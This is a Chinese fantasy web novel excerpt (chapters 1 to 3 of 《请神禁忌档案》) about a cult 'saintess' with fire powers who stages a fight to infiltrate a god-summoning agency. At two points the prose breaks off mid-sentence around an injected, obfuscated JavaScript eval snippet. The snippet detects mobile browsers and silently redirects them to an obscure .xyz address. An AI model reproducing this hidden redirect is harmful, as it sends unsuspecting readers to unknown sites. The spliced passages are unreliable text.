《请神禁忌档案》 1. 第1章 平海城城郊,废弃工业园。 整个工业园灰扑扑的,一派衰败景象。然而,一棵枝繁叶茂的大树竟意外地在工业园的东南角长得绿意盎然。 此刻,宁九燃正非常惬意地靠在大树最粗的那根枝干上,棒棒糖的小塑料棍在嘴角一翘一翘。 她穿着短打利落的黑色皮衣和短裤,裸露在外的皮肤引得蚊虫一拥而上,在靠近她周身时却被烤了个外焦里嫩,不多时,四周已经“尸横遍野”。 活动下靠僵的手腕,宁九燃翻了个身,周围的蚊虫被这活阎王吓得仓皇逃窜。 她在等人,或者说,在等一场戏。 今天这场路见不平拔刀相助的戏码,将成为她进入请神司的敲门砖。 “嗒嗒嗒……嗒嗒……” 不远处传来仓促的脚步声。一个黑衣女子从拐角处跑出,头发挽在脑后,身法极其敏捷。 随后穿着统一制式服装的一男一女追了上来。女孩留着略长的刘海,看着柔弱乖巧,追得快喘不上气,男子则戴了副金丝眼镜,黑红的工服穿得像西装般笔挺,两人追得有些狼狈。 来了。 宁九燃“嘎嘣”一下咬碎棒棒糖,半坐起来,右手捻着小塑料棍。 黑衣女子看着比追她的二人要老练,屡屡躲开攻击,在逃跑时还能腾出手反攻。 而另一方虽然人数上占优势,但是那个女孩似乎没什么攻击性,反倒一直需要男子保护,渐渐落了下风。 男子见黑衣女子有心停下与他们缠斗,后退一步站定,左手掌心向上平托,右手虚悬其上,眼神凝视着双手之间的虚空,瞳孔金光浮动,念道:“言灵审判,监禁!” 一串金色字符随着声音从双手之间的虚空跃出,化为字符囚笼盘旋在黑衣女子的周身。 “天秤之手……”宁九燃转动小塑料棍的手停住,“居然是狴犴神格,这平海城请神司真是什么人都有呢……” 不过,神力差距过大…… 宁九燃轻笑,想道:不然今天可能还真没我事了。 狴犴神格的男子以为黑衣女子已经被困住,刚准备收手,下一秒,金色囚笼被击碎,笼中人不见踪影。 男子上前几步,皱眉道:“怎么回事?”却感到背脊一凉,湿润的气流从他身后穿过,朝一个方向高速刺去。 “糟了,林珰珰!”男子迅速转身,与他同行的女孩刚刚为了不拖后腿躲到了十几步之外,而黑衣女子借助变出的水雾闪身追到女孩面前,右手聚起黑色的水球狠狠往下砸。 宁九燃看好时机,手在树干上一撑,翻身地落到女孩跟前,右手的塑料棍卷上火焰刺穿水球,另一只手环抱住女孩迅速向后转避。 女孩惊魂未定,愣愣地看着突然出现的宁九燃。 宁九燃没有半点停顿,右手连续再次出击,咆哮着的火焰直接冲散女子的水盾,黑衣女子像是感到不敌,转身向工业园深处跑去。 “林珰珰,你没事吧?”男子着急地跑来,将林珰珰拉到自己身后。 林珰珰三魂七魄还没归位,愣愣地点了点头。 看见林珰珰的回复后,男子又转头看向宁九燃,眼里满是防备:“你是什么人?这块废弃工地是由请神司监管,你怎么会在这里?” “这位叫……”宁九燃环抱着手,扫向他胸前的工牌,“叫辰刻的临时工朋友,现在什么是重点?你们抓的人要跑了呀?你在这问我这个救了你同事的人是谁?” 辰刻顿了下,从口袋里取出密牌举到宁九燃面前:“我是平海城请神司外勤七组临时工辰刻,现在执行机密任务,请您在此等待,一会配合调查。” 辰刻对眼前这个人的疑心不亚于逃跑的常清,莫名其妙出现在请神司监管禁地,还轻松就击碎常清一个S+提灯人的二重神技,绝对不简单。 “调查没问题,但是……”宁九燃打量下他们,又看向常清逃走的方向,“你们要拿腿追?玩猫捉老鼠我不拦着你们,但这个小妹妹显然要跑岔气了。” 辰刻没吭声,示意林珰珰跟他追上去。 防备心这么高?宁九燃很无奈地叹了口气,丢给他一个牵引绳指环:“会用吧?不会我就没办法了,我先带这个小妹妹追啦,不用谢!” 说完,她趁他愣神,几步上前左手环抱住林珰珰,右手食指上的指环弹出牵引绳勾在远处的建筑栏杆上,随后一拽,二人便飞身而去。 “诶!”辰刻连林珰珰衣角都没抓住,就看着这个不知哪来的人土匪似的拽走了他的搭档,只能咬咬牙戴上指环。 林珰珰本就被吓得够呛,还突然被一个不认识的人拉着飞檐走壁,几乎快要哭出来,只好死死地拽住宁九燃的衣服。 宁九燃连着跳过小半个园区,最后落到园区里最高的一幢废弃楼前,这幢楼看起来根本没有完工,仅有个水泥框架。 “小妹妹,你们要抓的人就在上面。”宁九燃松开手,发现这个小姑娘紧闭双眼抓着自己的衣服,吓得直哆嗦。 听到宁九燃的话,林珰珰才睁开眼睛,声音还有些颤抖:“啊?这……怎么办……” “当然是赶紧追上去呀。”宁九燃收了牵引绳,露出一个极具亲和力的笑容,心想:胆子小,应该比较好骗。 她本就长得极其明媚漂亮,靠着一张脸能让人少三分警惕,再加上刚才还出手救人,林珰珰已经开始下意识地选择相信她。 宁九燃拉着林珰珰进入废弃楼,飞快拾级而上,脸上划过一丝不易察觉的笑意。 黑衣女子名叫常清,请神司平海分司外勤六组组长,一个月前主动向伪神教投诚。投名状就是今天陪伪神教圣女宁九燃演一出戏,让她能够顺理成章地加入请神司。 按照原计划,常清找两个请神司的小菜鸟去办案,故意让他们发现她就是凶手,引他们一路追来,然后再对他们下重手。 这时宁九燃就从天而降救他们,帮他们制服常清,最后再假装大意让常清逃走。 而立了功的宁九燃可以在不经意间展现出色的能力和对请神司的无限“向往”,请神司自然不会“错失”宁九燃这样的人才。 堪称天衣无缝。 宁九燃拉着林珰珰追到五层,正好撞上靠在柱子上捂着肩膀伤口的常清——她刚刚被宁九燃的火焰灼伤了。 常清的神格是雨师妾,属于水系特能人,宁九燃的火系特能本就与她相克,所以伤口看起来有些严重。 下手重了,回去道个歉好啦,毕竟以后是同僚。宁九燃心里想着,但手上一点没停,火焰盘旋着击向常清,常清侧身躲过,双手一叠,凝聚无数具有侵蚀性的水滴如利箭飞刺而来。 宁九燃立马将林珰珰拽到身边,铺开火焰化盾直直迎上水箭。 “小妹妹,你的特能是什么?搭把手呀。”宁九燃见常清动起真格,扭头对躲在身后的林珰珰说。 “我……我只会治愈,不能……不能攻击。”林珰珰抓着宁九燃衣服的手都在抖。 真会挑人,找了个辅助都没法打的妹妹,还有个拉着个绳子不知道晃到哪里去了的家伙。宁九燃扯了下嘴角,加大神力聚火冲散水箭。 那就直接进入正题吧。 宁九燃调动神力聚于右手指尖,在空中迅速画了个状如火焰的印记,随后反手一推,印记瞬间放大形成一个火焰囚笼,直接将常清压了进去。 “你……居然会画神印……”林珰珰有些惊讶,小声问,“你也是提灯人吗?” 绘制神印需要对神力和自身特能有极为精准的把控,对天赋要求特别高,请神司都没多少提灯人能做到。 “略有涉猎。”宁九燃谦虚地摆摆手,“我不是提灯人,请神司可不好进。” “林珰珰,你没事吧?”辰刻本就不太会用牵引绳,荡了半天才狼狈地追到这里,一眼就看见了火焰囚笼,“这是神印?你们抓住常清了?” “这位……姐姐抓住的。”林珰珰回道。 宁九燃对辰刻惊讶的神情十分受用,笑着伸出手:“现在相信我不是坏人了吧,哪有坏人会大费周章帮你们抓人,自我介绍一下,我叫宁九燃。” “你不是提灯人却有这样的实力,你什么来路?”辰刻没有伸手去握。 “我天赋好自己练的,犯法吗?”宁九燃也不尴尬,收回手说道,“请神司每年就有那么点提灯人的名额,关系户都得挤破头,是我想就能有的吗?” “可是你这样的实力……”辰刻还想问。 “我这样的实力怎么了?就不能是颗沧海遗珠,非得是隐匿的魔头?”宁九燃打断他,把右手背到身后悄悄收回一点神印上的神力,这样常清就可以冲破囚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554543|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笼逃离。 再问下去就有些不好答了。 下一秒,常清破笼而出,宁九燃顺势凝结出火焰护盾挡住林珰珰和辰刻,顺便也遮住他们二人的视线,方便常清逃离,到时候再说她神格等级没有常清高,神印被冲破也实属正常。 但是,火焰散去,常清却没有离开。 她就站在那里看着他们,神情阴沉。 变故来得太快,宁九燃几乎是下意识地结出火焰为盾,但是事情完全在意料之外,火焰还没来得及聚拢被常清袭来的水流冲散,黑水飞溅,在皮肤上留下腐蚀的伤痕。 她想做什么?宁九燃拉着林珰珰连退几步,不解地看着常清,试图从她的眼里读出些信息,但是除了杀意什么都没有。 辰刻倒退后站定,金色字符的囚笼再次绕向常清。 不行,神力有差距,他就算竭尽全力也挡不了多久。宁九燃蹙起眉,虽然不知原因,但常清应该不会好好配合了,一旦她在这两个临时工面前乱说话,我就不可能再进入请神司了。 所以,必须杀了她。 刚下好决定,突然,一股木香弥漫在空气中,宁九燃的手一顿,脑中警铃大作:请神香! S级及以上的特能人经过训练,可以借助特定仪式请神降临,使用神格的终极能力。 而请神香就是那个媒介。 可是请神香在伪神教都受到极其严格的管控,更别提规矩森严的请神司,她是怎么拿到的? 但是现下这已经不是重点,刚刚常清以受困于金色链条迷惑他们,早已悄悄展开了请神仪式,怕是来不及阻止了。 “她怎么会有请神香?”辰刻察觉到气味,神情大变,“她的神格是雨师妾,请神能力是……是……”他开始拼命回忆。 “是……蚀雨。”宁九燃接上他的话,语气中听不出情绪,声音压得很低,“而且,情况比我们想象的还糟糕,你往外看……” 辰刻扭头看向外面,黑色的夜空不知道何时布满了乌云,此刻正有雷声响动,风雨欲来。 常清的蚀雨若是再借助雷雨天气,那倒霉的就不止他们三个了。 方圆数里,雷雨中心所及,无人能躲开。 而这座废弃工业园不远处,正有一个位于城郊的居民小区。 宁九燃看着林珰珰和辰刻,把黑色皮衣的拉链拉到顶端,背在身后的右手手心慢慢结出一个血红的印记,状如凤凰。 她现在的心情有些复杂。 S+等级特能人的请神降临不是这两人能对付的,他们算是间接被自己拉进局,不能真死在这。 可是就算能护下他们,也挽回不了成型的蚀雨,周围的人…… 雨“轰隆”一声砸下,常清咧开嘴角,笑容狰狞可怖,她的声音变得有些空哑,让人听着浑身发毛: “你们都利用我,都利用我!那就都去死!” 一声嘶吼后,她的瞳孔瞬间变成绿色,右手高高抬起,水蓝色的神力击向天空:“生为死祭,吾欲请神降临!” 蚀雨凝聚在乌云之下,黑色翻滚,终于成型。 算了,真够倒霉的。 宁九燃咬咬牙,调转神力抬手上前。 “宁九燃别过去!”辰刻失声喊出,这人疯了吗?打算硬扛请神降临?! 忽然,好像一瞬间的事,常清周身的神力涌动停住了,漫天风雨全部停滞。 怎么回事?宁九燃想开口,却发现自己完全动不了,甚至连眼珠都无法转动。 一切都停滞,就像时间被按了暂停键,只有意识在夹缝中艰难存在。 等等,时间停止……不会是…… 宁九燃的视角正对着对面的一幢平顶楼,平顶楼的楼层较矮,从这个角度正好可以看见平坦的天台。 此刻,天台上停了数架不知何时来的直升飞机,机翼已经停止旋转,就好像很早之前就停在那了一般。 但宁九燃敢确定,上一秒那里还什么都没有。 她盯着中间一架最大的直升机的门,心中的预感越来越强烈。 那架直升机仿佛与周围脱节,在静止的时空里,它却缓缓打开了舱门,一个身着黑色风衣的年轻男子出现在宁九燃的视野里。 银发血瞳,烛龙神相。 是请神司现任弑神者,赫应决。 2. 第2章 数架通体暗色的直升机带来了极强的压迫感,但真正让人喘不上气的是半扇舱门后的赫应决。 光是他的出现,就能让人产生生理性畏惧。 因为,畏惧弑神者——尤其当这个弑神者是赫应决的时候——几乎成了所有特能人的本性。 作为请神司的最强者,弑神者独立于所有机关部门之外。 与提灯人相比,弑神者的职责更倾向于审判与处罚失控的特能人。不过,最可怕的是弑神者拥有处决权——对特能人的立即处决权。 也就是说,只要弑神者认定你有罪,他就可以先斩后奏。 宁九燃看着赫应决,有些困惑。 众所周知,赫应决是请神司有史以来最强大的弑神者,神格等级突破了特能人的极限3S级,拥有超3S级神格——烛龙,背后甚至有整个格利烬坦家族为支撑,连请神司的司主都要给他面子。 小小的平海城能有什么事可以让这样身份地位的人亲临? 不过,应该也不算坏事。 赫应决转过脸看向宁九燃一行人所在的楼层,黑色风衣的衣领挡住下半张脸,露出血色的瞳孔。 这是他的神相。 特能人的神格是天生的,但是神力却需要不断地修炼才能提升,神力等级以神相呈现,共有十重。 神力提升每达到一重神相,使用神力时的形貌就会发生变化。 赫应决这神相看不出是第几重,但是…… 宁九燃忽然很无厘头地想,但是这张惊为天人的脸怎么就长在一个弑神者身上了?实在有点可惜。 赫应决轻轻勾手,聚拢在乌云之下的黑色蚀雨奇异地倒流回常清的身上,几秒之内,蚀雨已经全部消失,就好像从来不曾存在一般。 如此精准的时间倒流……真是强大又霸道。 宁九燃看着赫应决忍不住感慨:难怪这些年伪神教被请神司压得跟狗一样。 “平海分司外勤六组组长常清,违反请神司共约,杀害非觉醒者,盗窃请神香,非法使用请神降临。”赫应决的嗓音低沉而清冷,一字一句像是在敲击青铜古器,让人灵魂发麻。 他连手都没有抬,血色的双眸没有半点情绪波动,轻声道:“常清,认罪伏诛吧。” 判词落下。 常清的瞳孔骤然失焦,毫无预兆地砸倒在地,彻底没了生机。 连抓回去审的意愿都没有,就这样轻易地杀了一个S+级别的特能人?宁九燃看着面无表情的赫应决,心中压不住起伏。 不过也好,要是让常清活着被请神司抓回去,麻烦的可能是她自己。 忽然,宁九燃感觉喉咙一紧,呼吸骤然变难,仿佛被一只手狠狠掐住了脖子。 却听到赫应决又开口:“平海分司外勤七组,临时工越级处理高危案件,造成极其严重公共灾难,当……” 他顿了一下,缓缓道:“处决。” 话音一落,宁九燃感觉脖子上的力道陡然加重,完全无法喘气,可怕的窒息感充斥全身,眼前开始发黑。 他……他要杀了我们! 连辩解的机会都没有,就这样居高临下像碾死几只蚂蚁,甚至蚂蚁都无法挣扎。 “还有个……不是临时工?”赫应决的目光停在宁九燃身上,“拥有攻击性神格,无端出现在请神司监管禁地,身份可疑。” 忘了这茬了。 刚才那俩好糊弄,可这尊大神在这种地位上必然长了不止八百个心眼子,估计说什么都骗不过去。 而且,他显然不想听人解释。 宁九燃感觉脖子上的重压有所减轻,看来赫应决没打算杀自己,大约是想抓回去审。 可余光里林珰珰和辰刻状态已经变得极差,再这样下去估计真要交代了。 不行,不能让他们就这样死这。 宁九燃运转神力,用意念将它们凝聚在右手手心,不知道能不能办到,但也只能尽力一试了。 燃!快……快燃! 一股火焰从手心窜出,虽然不大,但灵巧地绕上宁九燃的周身,烧尽神力后破开时间禁制,宁九燃终于能动弹,腿一软半跪在地,大口喘气,同时抬手让火焰扫过林珰珰和辰刻。 确认他们能呼吸后,宁九燃踉跄了几下冲到楼层边缘,提快语速声音沙哑地向对面喊道:“弑……弑神者大人,他们这样做是有原因的,是常清故意对他们下套……” 赫应决微微眯起眼睛,打量着这个脸因缺氧而涨红的女孩。 她的火……可以灼烧我的神力…… “弑神者大人!”宁九燃听见身后响起一个有些熟悉的声音,有人伸手用力把她往后面一拽,然后挡在了她面前。 是……平海分司外勤部主任肖自云。 肖自云从接到辰刻的报备通讯起,就开始急得跳脚。 当时常清明明说是有个小型纠纷案件,问他有没有临时工愿意去观摩,他就让自己新入职的两个临时工去了。 结果听到辰刻说是死亡调查,还牵扯到伪神教,甚至常清自己就有嫌疑,脑子轰的一下就炸了,感觉已经有一个天大的窟窿捅好在等他。 他立马往这赶,好死不死遇上晚高峰,一路上狂打电话想让林珰珰和辰刻别再插手,结果电话打不通,又不敢向司里申请特殊通道。 万一让司里知道七组越级参与案件再上报弑神者和十二神使,这两个家伙算是玩完了。 但他在楼下看见赫应决的直升机的时候,悬在心上的石头终于把他砸死了。 这下真的要完。 “弑神者大人,我……我是平海分司外勤部主任肖自云,两年前去总司开会,我有幸……有幸见过您一面,不知道您还有没有印……印象……” 肖自云的衬衫已经被汗水浸透,整个人喘得上气不接下气,但强压住喘气半弯着腰,挤出一个比哭还难看的笑容,“您可能不记得了。那个……这三个临时工是刚入职……我……我负责的,今天他们没有越级处理……他们跟我汇报了的,是我……是我来晚了,我处理不当……” 宁九燃诧异地抬头看向肖自云,想起身上前,肖自云却捏着她的肩膀把她按了回去,从牙缝里挤出几个字:“别出声!” “肖自云。”赫应决慢悠悠地念出这个名字,念得众人一身冷汗,“你知不知道,今天如果那个雨师妾的蚀雨成型,造成的后果可以让你的外勤部重建了。” “知……知道。”肖自云低下头,控制着声音里的颤抖,“是我工作的失误,没能及时赶到现场安排好,我会接受处罚,但这几个临时工……也是想阻止……” 赫应决半天没出声。 肖自云保持着低头弯腰,连汗都不敢擦,忍受着这漫长的沉默,眼前一阵又一阵发黑。 良久,赫应决淡淡地开口:“三个临时工?那个用火的……” “她……她也是,临时叫过来所以没戴工牌。”肖自云急忙解释,他虽然不知道宁九燃为什么会出现在这里,但这丫头一旦引起赫应决的怀疑就分说不清了。 又过了半晌,肖自云仿佛听见了一声轻笑,随即只看见舱门缓缓关上。 赫应决抛下一句话:“我会让神使来处理,肖自云,他们不会有下次机会了。” 直到已经完全看不见直升机的影子,肖自云才大喘一口气,扶着边上的墙壁站稳。 林珰珰和辰刻低着头站在一边,一言不发。 “你们都别说话!”肖自云拍着胸口顺气,“我在通讯里怎么说的?我怎么说的!我说什么事都等我来再处理!你们怎么敢捅这么大的篓子?” “主任,我们是怕她跑了。”辰刻上前一步,微微挡住还没有缓过来的林珰珰。 “你知不知道,我要再晚来一点,你们几个今天就都交代在这了!现在你们应该跪下来朝东南西北都磕个头,弑神者居然愿意手下留情。”肖自云感觉自己快要气得背过去了。 宁九燃站在一边,想着今天要是没她,这俩人也不会闯这么大祸。 她咬咬牙主动上前分担火力:“肖主任,你别生气了,他们也是履行提灯人的职责。“ 不出所料,听到宁九燃的话,肖自云立马火力转移:“还有你,宁九燃,怎么有你的地方老不太平呢?上次你不是说这辈子不会再挨上请神司,说自由是你的人生信条,要混吃等死摆烂躺平吗?今天你又是怎么搅和进这事来的?” “我半夜出来瞎溜达,路见不平就出了个手。”宁九燃老老实实低下头,后退一步,薅了下头发。 记得这么清楚,有点子尴尬哈…… 肖自云今天冒风险保宁九燃可不是莫名其妙善心大发,而是两人确实有点旧“交情”在。 一年前,宁九燃半夜饿了出去吃夜宵,遇见个拿刀的亡命之徒。 她看月黑风高四下无人的,就准备教他怎么做法治社会的好公民,指尖才冒了点火,就被中年失眠出来散步的肖主任撞见了。 肖自云看中她的能力,觉得是个可造之材,虽然没办法直接招入请神司成为提灯人,但是可以让她进入平海高等神格学府进修,四年后毕业考个前三名就能特招成为临时工。 但他眼中的天赐良机被宁九燃想都没想就拒绝了。 这个处在肖自云认为本该朝气蓬勃积极向上的年纪的年轻人,摆出一副“要读书毋宁死”的表情,两手一摊: “肖主任,朝菌不知晦朔,我这种飘在居民楼群里的小平民,此生最大的梦想就是可以自由地晃荡,像这种让人都不能睡到自然醒的神圣使命感动不了我。“ 短短几句话,噎得肖自云小半辈子坚如磐石的职业幸福感都开始动摇了,想了半天才憋出一句:“唉,明珠蒙尘啊……” 结果这丫头临走了还不忘补一句:“蒙就蒙着吧,暗点好睡觉。那个……您也别熬夜了,容易老。”给肖自云梗得当晚又焦虑得没睡着。 不过,当年潇洒溜走的宁九燃也没想到,自己有朝一日还需要想方设法进入请神司。 年少轻狂还是要买单了。 宁九燃在心里叹了口气,露出一个乖巧的笑脸:“主任,我洗心革面,痛改前非了,深刻认识到当年的无知,现在怀着一颗真诚的心想要为提灯人的伟大使命做奉献了……” “打住,现在想也晚了,少花言巧语啊,你这丫头的嘴我是最没办法的。”肖自云打断宁九燃“施法”,冲他们三人一挥手,“别磨蹭了,现在都跟我回司里。” 肖自云的黑色小轿车就停在楼下,与墙面几乎只有一线之隔。 宁九燃坐上车,边关车门边打趣道:“肖主任,开车技术相当可以呀。” “还不是被你们吓的,差点撞墙上殉职了。”肖自云发动车子,没好气地说。 “肖主任,我们……还能留在请神司吗?”沉默了好久的辰刻开口。 “行了,不吓唬你们了,只要弑神者不管,我就保得住你们。”肖自云说。 宁九燃安静了一会,看大家都不说话,又问道:“主任,今天如果你没来,那位弑神者真的会杀了我们吗?” “他会。”肖自云斩钉截铁地说,“他的强大和狠戾是你们无法想象的,请神司历任弑神者,除了当年的司道大人,没人能够跟他相比。” “司道?” “就是前任弑神者,七年前身故的那位。” “这么强,怎么会死?”宁九燃往座椅上一靠。 “是人就会死。”肖自云奉行安全驾驶原则,喊了声,“这跟你们没关系,我要好好开车,别跟我说话了。” 请神司平海分司位于平海城中心,寸土寸金的地段立着占地巨大的请神司。 肖自云停好车后就带他们进入主楼。 中空的主楼高得出奇,呈螺旋状矗立。楼壁上爬满了各样不知名的绿色藤蔓,在夜色笼罩下有一种古老的神秘感。 二楼一进去就是一面巨大的青铜镜,镜子无依无支地浮在半空中,镜面清晰却照不出人影。 “来都来了,测一下你的神格和神相层级。”肖主任指向青铜镜,“当年逮都逮不过来。” 宁九燃上前,把手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554544|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌贴在镜面上,看似冰凉的镜面却有股暖意。 青铜镜慢慢亮起了红光,宁九燃盯着镜面,嘴里念叨:“青铜古镜我还是第一次见,这算是什么神器吗?一会是显示古秘文吗?我不认识那玩意,提灯人还要学这个吧……” 片刻后,一个“S”出现在镜面中间。 “这么……现代的吗?”宁九燃觉得这个画面的违和感不亚于马车上装导航。 话音刚落,“S”下方燃起一簇火焰,缓缓绕成了一个复写的“三”。 “这……三重神相,你居然已经到了三重神相……”肖自云看着宁九燃,脸上是掩不住的震惊。 这丫头,21岁,没有经过正统专业的特能人训练,没有背后的资源支撑,居然已经达到多数被砸了大把资源和训练的同龄人达不到的高度。 “怎么样?还可以吧?”宁九燃收回手,笑着说。 “可是,为什么没有显示神格呢?”一旁的辰刻出声。 肖自云上去拍了两下古镜:“也是,总不能出故障了吧……”那手法看着像八九十岁的老爷爷修电视机。 好大一个草台班子。 宁九燃内心吐槽但脸上依然带着笑:“您上次不是见过了吗?我的神格是火鹤。” “你真的想做提灯人?”肖自云问。 普通特能人的神格等级一般在B级以下,A级可以算是优秀出众,而真正的佼佼者是以S级为分界线的。 因为只有到S级,才能够通过特定仪式请神,施展特能人的终极能力——请神降临。 所以,S级及以上的神格十分珍贵,再加上宁九燃这丫头年纪轻轻神力层级就如此了得,肖自云虽然当年的气还没顺,但是确实没法对这颗沧海遗珠视而不见。 “当然。”宁九燃点头。 肖自云想了一会,打了个通讯,不多时便来了一个人抱着个大箱子过来。 “这里面是一套特殊制作的作战服和一个临时密牌,有效期是三天,三天之内,你作为请神司平海分司外勤七组的编外人员,跟辰刻和林珰珰一块找出常清一案的线索,我就破格让你成为临时工,过了考察期,你就是正式的提灯人。”肖自云示意宁九燃想清楚就接过箱子。 “好。”宁九燃一口应下,抱过箱子。 “你确定吗?在这个过程中你除了最基本的参与权利,不会拥有提灯人的特权,甚至可能有生命的危险,如果失败了,就不会再有下一次机会了。”肖主任的神情忽然严肃了些。 “我确定。”宁九燃扭头看向站在一边的林珰珰和辰刻,抽出一只抱箱子的手挥了挥,“一起加油哈。” 肖自云顿了下,伸出右手,正色道,“宁九燃,虽然你还没有加入,但是作为三天临时的编外人员,我也还是要对你说,欢迎加入请神司,愿我们提灯以照世。” 宁九燃看着那只手,片刻,伸手握了上去。 熟悉了下案情后,肖自云又让林珰珰和辰刻去做检讨,宁九燃仗着自己不是正式人员丝滑开溜,到路边扫了辆共享电动车。 夜晚的风有点凉,宁九燃一路骑到城西外环的居民楼群时,人已经彻底清醒了。 老旧的居民楼群没有还车点,宁九燃绕了路还车,一边走一边揉着太阳穴,叹了口气:“今天真是够累的。” 演出戏,一波三折,还遇见一尊莫名其妙的杀神,好在计划已经达成一半。 “小燃!”拐进楼群的路口站着个中年女子,裹着外套在路灯下徘徊,看见宁九燃挥起了手。 宁九燃看见她,蹦了两步扑上去,抱住了女子:“唐姨,你还没睡吗?我不是说不用等我了吗?” 唐宛芬揉了揉宁九燃的头发,语气温柔:“你说有事会晚点回来,我想着给你做点夜宵,顺道来接你一下。” 宁九燃挽住唐宛芬的胳膊,瞥见唐宛芬提着的袋子,问:“唐姨,这是药房的袋子?你生病了吗?还是嘉宝?” 嘉宝是唐宛芬四十岁生下的女儿,今年三岁。唐宛芬夫妇老来得女,宠爱得不行。 唐宛芬挽着宁九燃往里走,说:“就是点消毒的,嘉宝下午平地摔了跤,擦破皮了。” “平地也能摔跤,这小家伙。”宁九燃已经能想到那小娃娃哇哇大哭的样子,不由地“扑哧”笑了出来。 “亏得她现在睡了,不然回来还要缠着你哭。”唐宛芬也笑了。但她没有注意到,原本满脸笑容的宁九燃看向她身后的影子时,眼神慢慢沉了下去。 唐宛如一家住在楼群最里面的一栋小三层,房子很小很旧,每层只有两个房间。 六年前,十五岁的宁九燃孤身来到平海,是唐宛芬收留了她,并把她当作亲女儿对待。 宁九燃完成基本学业后,就在唐宛芬夫妇的小店里帮工,没事的时候就满世界溜达,到处去穷游。 进了门,宁九燃换上拖鞋,看见客厅里装了新的视晶,问道:“唐姨,你们买新视晶啦?这很贵的吧?” “对,你叔叔买的,刚好有打折,过几个月不是提灯人大赛了吗?到时候正好用这个看。”唐宛芬在厨房里应道。 “提灯人大赛……”宁九燃低声重复了遍,对唐宛芬说,“唐姨,我想吃鲜肉锅贴,一天没怎么吃饭饿死啦,你做好我一会下来拿。” “知道啦,早就包好等你了,你上去先洗澡换身衣服。”唐宛芬边开冰箱边笑着说。 宁九燃打开楼梯灯,走上二楼,进房后反锁上门,拉上窗帘,将两张椅子往房间的角落一横,形成一个围住的三角区域,然后站在灯下调整角度,让影子刚好落入三角区域内。 做完这一切,宁九燃看着自己的影子,冷冷地开口:“滚出来,暗沼。” 大约过了两三秒,影子里的暗色慢慢聚拢,凭空伸出一只手,紧接着一个黑色的身影从影子中爬了出来,然后暗色退去,一个浑身像是缠着黑布的男子出现在宁九燃面前。 “伪神教主殿七护法,见过圣女殿下。”他的脸被杂乱的头发遮着,咧嘴露出发黄的牙齿,“好久不见了啊,圣女殿下。” 3. 第3章 暗沼,伪神教十二护法之一,2S级特能人,拥有夜游神神格。他可以自由穿梭在影子里,去到所有存在影子的地方,擅长偷袭和暗杀。 宁九燃奉主教之命,潜入请神司探查司道死因,对于主教强行派来的这位搭档可以说是厌恶至极。 因为十二护法中,他能力虽然排不上最强,但一定是最阴狠毒辣的。与他为伍,防前还得防后。 刚刚察觉到他藏在唐宛芬的影子里,宁九燃心跳都停了半拍,脸色几乎已经维持不住,所以匆匆上楼与他对峙。 宁九燃右手在椅子上叩了一下,火焰“噌”的燃起来,迅速围住了暗沼:“我是不是警告过你,离我家人远一点?” “我做什么了吗?”暗沼的声音就像金属刀具在玻璃上划拉,听着十分刺耳,“我只是奉主教大人之命,配合圣女的工作而已。” “藏在他们的影子里,还伤害一个三岁的小姑娘,暗沼,你可真给伪神教长脸。”宁九燃勾了张椅子坐下,火焰愈烧愈旺,几乎贴上了暗沼的双手。 “长不长脸的倒没什么,忠于主教大人就好了,对吧,圣女殿下?”暗沼始终低着头,嘴角却慢慢浮起笑容。 “少跟我阴阳怪气,我很快就能进入请神司,自会替主教大人查清司道的死因。”宁九燃冷眼看着他,“这是我最后一次警告你,别动我的家人。” “明白,圣女殿下。”暗沼保持着异样的笑容。 “我问你,常清为什么突然叛变?”宁九燃稍微收了点火焰。 “我不知道。” “你不知道?”宁九燃看着他,“常清的相关联系工作是你当初非要做的,现在出了这么大纰漏,你就一句不知道?不怕被主教大人问罪吗?” 暗沼微微抬起头,通过乱发遮挡下的眼睛可以看出,这人在变得非人非鬼之前,皮囊还是不错的。 他轻笑一声,说:“不劳圣女费心,我已经跟主教大人请过罪了,主教大人让我把这个东西给你,他说您或许能从这里看出线索。”说着,他递出一个摄形晶。 宁九燃接过摄形晶,暗沼又掏出一个玻璃瓶,玻璃瓶中装着红色的液体,隐隐冒着黑气:“这也是主教大人让我带给你的。” “不是没到一个月吗?怎么提前了?”宁九燃问。 “圣女殿下,您的身体不是已经撑不住了吗?” “你跟踪我。” 暗沼把瓶子递到宁九燃面前:“我是关心你呀,圣女殿下。” 宁九燃犹豫了一下,接过瓶子打开瓶盖,调动神力。 瓶中的液体被引出,如同流动的血液绕在她的周身,最后全都渗入了她的身体。 “下个月的血池水主教大人会让我送来。”暗沼边说边抬手避开了宁九燃身上漫出的火焰,“圣女殿下,多注意身体,主教大人的意思是三个月内希望见到一点结果,您的友善提醒我记住了,下次见。” 说完,他一抬手,化作一团黑影,顺着窗棱上的树枝影消失了。 此刻的宁九燃无暇顾及他,她能感到自己的周身很烫,但是血液却在发冷,神力在体内乱窜,血肉弥合的痛苦让她面色发白,冷汗直冒。 这是吸收血池水的副作用。 自从数年前宁九燃重伤从血池中醒来后,她就需要定期吸收血池水来维持躯体,否则躯体就会出现金色裂纹,从心口开始蔓延。 而如果她过度使用神力,就会加速躯体的崩坏。 后来,她与主教达成协议来到平海以普通人的身份生活,每个月定期回到教内吸收血池水。 她本来可以不用这么着急吸收,但今天突破赫应决的时间禁锢耗费了大量的神力,她上楼的时候就已经发现自己脖子上出现了金色的裂纹。 